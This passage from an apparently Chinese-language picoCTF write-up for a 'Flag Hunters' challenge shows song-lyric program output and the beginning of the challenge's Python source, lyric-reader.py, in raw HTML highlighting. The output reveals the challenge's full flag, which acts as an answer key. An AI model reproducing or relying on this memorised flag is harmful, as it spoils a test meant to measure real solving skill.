hid.\nWith every exploit we trigger, every byte we decrypt,\nWe’re chasing that victory, and we’ll never quit.\nCrowd: \nPico warriors rising, puzzles laid bare,\nSolving each challenge with precision and flair.\nWith unity and skill, flags we deliver,\nThe ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}\n\n\n[REFRAIN]\nWe’re flag hunters in the ether, lighting up the grid,\nNo puzzle too dark, no challenge too hid.\nWith every exploit we trigger, every byte we decrypt,\nWe’re chasing that victory, and we’ll never quit.\nCrowd: \nPico warriors rising, puzzles laid bare,\nSolving each challenge with precision and flair.\nWith unity and skill, flags we deliver,\nThe ether’s ours to conquer, picoCTF{706-------------------788}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003elyric-reader.py\u003c/code\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 59\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 60\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 61\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 62\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 63\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 64\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 65\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 66\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 67\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 68\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 69\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 70\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 71\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 72\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 73\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 74\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 75\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 76\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 77\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 78\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 79\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 80\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 81\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 82\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 83\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 84\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 85\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 86\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 87\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 88\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 89\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 90\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 91\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 92\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 93\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 94\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 95\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 96\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 97\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 98\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 99\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e100\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e101\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e102\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e103\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e104\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e105\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e106\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e107\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e108\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e109\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e110\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e111\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e112\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e113\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e114\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e115\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e116\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e117\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e118\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e119\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e120\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e121\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e122\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e123\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e124\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e125\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e126\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e127\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e128\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e129\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e130\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e131\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e132\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e re\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e time\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Read in flag from file\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;flag.txt\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esecret_intro \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u0026#39;Pico warriors rising, puzzles laid bare,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eSolving each challenge with precision and flair.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eWith unity and skill, flags we deliver,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eThe ether’s ours to conquer, \u0026#39;\u0026#39;\u0026#39;\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e flag \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esong_flag_hunters \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e secret_intro \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e[REFRAIN]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eWe’re flag hunters in the ether, lighting up the grid,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eNo puzzle too dark, no challenge too hid.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan 